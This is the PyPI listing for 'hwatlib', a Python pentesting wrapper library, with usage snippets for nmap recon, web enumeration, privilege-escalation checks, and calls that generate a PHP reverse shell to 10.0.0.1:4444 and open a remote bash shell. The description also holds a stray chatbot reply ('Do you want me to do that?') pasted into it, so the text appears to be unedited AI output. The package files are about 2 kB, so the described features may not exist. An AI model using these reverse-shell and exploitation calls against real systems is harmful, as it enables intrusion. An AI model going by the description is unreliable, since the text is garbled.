A practical penetration testing wrapper library for recon, web, exploitation, and post-exploitation.
Project description
hwatlib
A practical pentesting and exploitation library with wrappers for recon, web enumeration, reverse shells, and privilege escalation.
To install, run:
pip3 install hwatlib
Basic Usage:
from hwatlib import *
# Recon example
recon.init("example.com", add_to_hosts=True)
recon.nmap_scan()
recon.banner_grab()
# Web enumeration
web.fetch_all("http://example.com")
# Exploit (reverse shell)
exploit.php_reverse_shell("10.0.0.1", 4444)
Privilege Escalation
from hwatlib import *
# Run various local privesc checks
privesc.run_checks()
privesc.enumerate_sudo()
privesc.enumerate_cron()
privesc.kernel_exploits()
Custom IO / Remote Exploitation
from hwatlib import *
# Connect to remote host
remote = exploit.connect_remote("10.0.0.1", 31337)
remote.run_shell("bash")
Web Exploitation
from hwatlib import *
# Fetchers and enumeration
web.fetch_headers("http://example.com")
web.fetch_forms("http://example.com/login")
web.fetch_js("http://example.com")
Hwatlib is under continuous development and more features for pentesting, recon, exploitation, and post-exploitation will be added.
If you want, I can also **write a shorter [anything] version** like hwatlib’s style that highlights **any concept of your choice**. Do you want me to do that?
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file hwatlib-0.1.0.tar.gz.
File metadata
- Download URL: hwatlib-0.1.0.tar.gz
- Upload date:
- Size: 2.1 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.12.3
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
21e693a917cd53670a3b552a2dbddf85e079d2c38553c2157f1e05ae2afcd36d
|
|
| MD5 |
58b06421fd1548ef1164dde7df276c88
|
|
| BLAKE2b-256 |
7cbb3a72906d57dc1a10824e590caf0e3e114937a2048a0f764fad6a88af36d8
|
File details
Details for the file hwatlib-0.1.0-py3-none-any.whl.
File metadata
- Download URL: hwatlib-0.1.0-py3-none-any.whl
- Upload date:
- Size: 2.2 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.12.3
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
d502587b86b51dacf07b985ea90d3729459a0c54ed0a719cb637d6fced299b93
|
|
| MD5 |
12331910d472c7d768ba604ad3028f8f
|
|
| BLAKE2b-256 |
9dc0970215ec51afb2eda1fef166d9c5478aea2f3b4e7917a6d5e489f175df78
|